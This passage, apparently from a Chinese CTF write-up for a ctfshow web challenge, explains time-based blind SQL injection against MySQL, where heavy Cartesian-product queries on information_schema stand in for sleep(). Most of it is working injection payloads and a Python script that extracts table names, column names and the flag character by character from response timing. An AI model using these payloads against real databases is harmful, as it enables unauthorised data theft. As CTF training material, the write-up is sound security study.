拿到表名:ctfshow_flagxca
后面我们使用笛卡尔积注入来实现:
让 Mysql 举行笛卡尔算积使其造成大负荷查询达到延时的结果
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的聚集,就是连接表
在 mysql 下有一个很大的数据库 information_schema ,包罗了全部的数据库和表信息。
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
复制代码
可以按照这个规律,从 C 后面加个逗号,写 D,E 等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表大概列数量很少的环境下,可以写的多一点。
使用
(select count(*) from information_schema.columns A, information_schema.columns B)
复制代码
代替 sleep 函数
查列名:
payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
复制代码
边测试边调解判定时间,我这里末了测出来是 0.4s 比较合适
if re.elapsed.total_seconds() > 0.4:
复制代码
拿到列名:flagaabc
末了查字段信息:
payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 0, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
复制代码
第一行是 id,我们看下其他行的结果,调解 limit 的参数看第二行的结果:
limit 1, 1
复制代码
payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
复制代码
字段名为 flagaabcc
查该字段的详细信息:
payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
# @author:Myon# @time:20240814import requestsimport stringurl = 'http://57957d8f-f6a5-4769-a1b7-c87499c0995e.challenge.ctf.show/api/index.php'dic = string.digits + string.ascii_lowercase + '{}-_'out = ''for j in range(1, 50): for k in dic: # payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜数据库名 # payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名 # payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名 # payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名 # payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名 payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
# 跑flag re = requests.post(url, data=payload) if re.elapsed.total_seconds() > 0.8: out += k break print(out)